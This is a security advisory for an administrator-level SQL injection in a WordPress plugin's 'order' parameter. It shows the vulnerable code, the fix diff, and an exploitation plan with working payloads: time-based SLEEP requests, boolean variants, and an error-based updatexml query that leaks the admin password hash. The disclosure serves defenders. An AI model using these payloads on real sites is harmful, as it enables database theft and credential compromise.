Frontend Admin by DynamiApps <= 3.28.28 - Authenticated (Administrator+) SQL Injection via 'order' Parameter
Description
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to generic SQL Injection via the 'order' parameter in all versions up to, and including, 3.28.28 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires that the attacker also supply a valid 'orderby' parameter in the same request, as this is necessary to reach the vulnerable code path that processes and concatenates the 'order' value into the SQL query.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.28.8What Changed in the Fix
Changes introduced in v3.28.29
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-10039 - SQL Injection in Frontend Admin ## 1. Vulnerability Summary The **Frontend Admin by DynamiApps** plugin (versions <= 3.28.28) is vulnerable to SQL Injection via the `order` parameter. The vulnerability exists because the plugin incorrectly uses `$wpdb-…
Show full research plan
Exploitation Research Plan: CVE-2026-10039 - SQL Injection in Frontend Admin
1. Vulnerability Summary
The Frontend Admin by DynamiApps plugin (versions <= 3.28.28) is vulnerable to SQL Injection via the order parameter. The vulnerability exists because the plugin incorrectly uses $wpdb->prepare() by concatenating user-controlled input directly into the SQL template string rather than using placeholders. Specifically, in the get_payments and get_plans methods of the WP_List_Table classes, the order parameter is concatenated after ORDER BY logic, allowing an administrator to inject arbitrary SQL expressions.
2. Attack Vector Analysis
- Endpoint: WordPress Admin Dashboard (
/wp-admin/admin.php). - Target Pages:
page=fea-payments(renders theFEA_Payments_Listtable).page=fea-plans(renders thePlans_Listtable).
- Vulnerable Parameter:
order. - Required Parameter:
orderby(must contain a valid column name to reach the vulnerable code path). - Authentication: Requires an authenticated user with
administratorprivileges (as the pages are located in the admin dashboard). - Preconditions:
- The plugin and its dependency Advanced Custom Fields (ACF) must be active.
- At least one record must exist in the target table (
wp_fea_paymentsorwp_fea_plans) for theORDER BYexpression to be evaluated.
3. Code Flow
- Entry Point: A user navigates to
wp-admin/admin.php?page=fea-payments. - Hook: The admin page triggers the rendering of the
FEA_Payments_Listtable. - Table Preparation: The
FEA_Payments_List::prepare_items()method is called. - Data Retrieval:
prepare_items()calls the static methodget_payments($per_page, $page_number)(located inmain/admin/admin-pages/payments/list.php). - Vulnerable Sink: Inside
get_payments(), the SQL query is built:orderbyis sanitized viasanitize_sql_orderby().orderis processed (lines 52-54):$sql .= ! empty( $_REQUEST['order'] ) ? $wpdb->prepare( ' ' . esc_sql( $_REQUEST['order'] ) ) // <--- VULNERABLE SINK : ' ASC';
- Execution: The resulting
$sqlstring (which now contains the payload) is executed via$wpdb->get_results($sql, 'ARRAY_A').
4. Nonce Acquisition Strategy
This vulnerability is located in a standard WordPress Admin list table page (ajax => false).
- Standard Admin Pages: Do not require an AJAX nonce for initial page load and data retrieval via GET requests.
- Authentication: Provided by the
wordpress_logged_in_*session cookies. - CSRF Protection: While the page might have nonces for actions (like delete), the
orderbyandorderparameters used for sorting the view are handled directly via GET/POST requests without nonce verification in theget_paymentsorget_plansmethods.
5. Exploitation Strategy
We will perform a Time-Based Blind SQL Injection using the SLEEP() function.
Payload Construction:
orderby: Must be a valid column name for the table. For payments:amount.order:, (SELECT 1 FROM (SELECT SLEEP(5))x)- Resulting SQL Fragment:
ORDER BY amount , (SELECT 1 FROM (SELECT SLEEP(5))x) LIMIT 20 OFFSET 0
Steps:
- Login: Authenticate as an Administrator and capture cookies.
- Baseline Request: Request the payments page with standard sorting and measure the response time.
GET /wp-admin/admin.php?page=fea-payments&orderby=amount&order=ASC - Exploit Request: Request the same page with the
SLEEPpayload.GET /wp-admin/admin.php?page=fea-payments&orderby=amount&order=%2c%20(SELECT%201%20FROM%20(SELECT%20SLEEP(5))x) - Verification: If the response takes ~5 seconds longer than the baseline, the injection is successful.
6. Test Data Setup
The target tables must exist and contain at least one row.
# Ensure ACF and Frontend Admin are active
wp plugin activate acf-frontend-form-element advanced-custom-fields
# Create the payments table (if not already created by plugin)
wp db query "CREATE TABLE IF NOT EXISTS wp_fea_payments (id INT AUTO_INCREMENT PRIMARY KEY, description TEXT, amount DECIMAL(10,2), currency VARCHAR(3), method VARCHAR(20), created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP);"
# Insert a dummy row to ensure the ORDER BY expression is evaluated
wp db query "INSERT INTO wp_fea_payments (description, amount, currency, method) VALUES ('Test Payment', 10.00, 'USD', 'stripe');"
7. Expected Results
- Success: The server response for the exploit request is delayed by 5 seconds.
- Data Leakage (Alternative): Using an error-based payload (e.g.,
updatexml) would result in a database error message containing the leaked data (ifWP_DEBUGis enabled).
8. Verification Steps
After the exploit, verify the database state to ensure the query was executed:
- Review the
wpdb->last_queryif debugging is enabled. - Use
wp-clito check for any records that might have been affected if aBENCHMARKorMD5payload was used. - Check the PHP error log (if accessible) for SQL syntax errors which confirm the injection point.
9. Alternative Approaches
If time-based injection is unreliable due to network latency, use Boolean-Based Blind Injection:
- True Payload:
order=, (SELECT 1 WHERE 1=1)(Normal response) - False Payload:
order=, (SELECT 1 WHERE 1=2)(Possibly different response or error)
Alternatively, if WP_DEBUG is on, use Error-Based Injection:
- Payload:
, (SELECT 1 FROM (SELECT 1)x WHERE 1=updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)) - Expected: SQL error in response containing the admin password hash.
Summary
The Frontend Admin plugin for WordPress is vulnerable to authenticated SQL Injection via the 'order' parameter in administrative list tables. This occurs due to improper use of the $wpdb->prepare() function where user-controlled input is concatenated directly into the SQL query's ORDER BY clause without sufficient validation or the use of placeholders.
Vulnerable Code
/* main/admin/admin-pages/payments/list.php line 49 */ if ( ! empty( $_REQUEST['orderby'] ) ) { $sql .= $wpdb->prepare( ' ORDER BY ' . sanitize_sql_orderby( $_REQUEST['orderby'] ) ); $sql .= ! empty( $_REQUEST['order'] ) ? $wpdb->prepare( ' ' . esc_sql( $_REQUEST['order'] ) ) : ' ASC'; }else{ $sql .= ' ORDER BY created_at DESC' ; } --- /* main/admin/admin-pages/plans/list.php line 49 */ if ( ! empty( $_REQUEST['orderby'] ) ) { $sql .= $wpdb->prepare( ' ORDER BY ' . sanitize_sql_orderby( $_REQUEST['orderby'] ) ); $sql .= ! empty( $_REQUEST['order'] ) ? $wpdb->prepare( ' ' . esc_sql( $_REQUEST['order'] ) ) : ' ASC'; }else{ $sql .= ' ORDER BY created_at DESC' ; }
Security Fix
@@ -50,9 +50,8 @@ if ( ! empty( $_REQUEST['orderby'] ) ) { $sql .= $wpdb->prepare( ' ORDER BY ' . sanitize_sql_orderby( $_REQUEST['orderby'] ) ); - $sql .= ! empty( $_REQUEST['order'] ) ? - $wpdb->prepare( ' ' . esc_sql( $_REQUEST['order'] ) ) - : - ' ASC'; + $order = ( ! empty( $_REQUEST['order'] ) && strtolower( $_REQUEST['order'] ) === 'desc' ) ? 'DESC' : 'ASC'; + $sql .= " $order"; }else{ $sql .= ' ORDER BY created_at DESC' ; } @@ -50,9 +50,8 @@ if ( ! empty( $_REQUEST['orderby'] ) ) { $sql .= $wpdb->prepare( ' ORDER BY ' . sanitize_sql_orderby( $_REQUEST['orderby'] ) ); - $sql .= ! empty( $_REQUEST['order'] ) ? - $wpdb->prepare( ' ' . esc_sql( $_REQUEST['order'] ) ) - : - ' ASC'; + $order = ( ! empty( $_REQUEST['order'] ) && strtolower( $_REQUEST['order'] ) === 'desc' ) ? 'DESC' : 'ASC'; + $sql .= " $order"; }else{ $sql .= ' ORDER BY created_at DESC' ; }
Exploit Outline
1. Authenticate as a WordPress user with 'administrator' privileges. 2. Navigate to a page utilizing the vulnerable WP_List_Table classes, such as the payments list at '/wp-admin/admin.php?page=fea-payments'. 3. Craft a GET request that includes a valid 'orderby' parameter (e.g., 'amount') and a malicious 'order' parameter. 4. Provide a time-based SQL injection payload in the 'order' parameter, such as ', (SELECT 1 FROM (SELECT SLEEP(5))x)'. 5. The application will concatenate this payload into the SQL query's ORDER BY clause, causing the database to execute the SLEEP function and confirming the vulnerability through response time delay.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.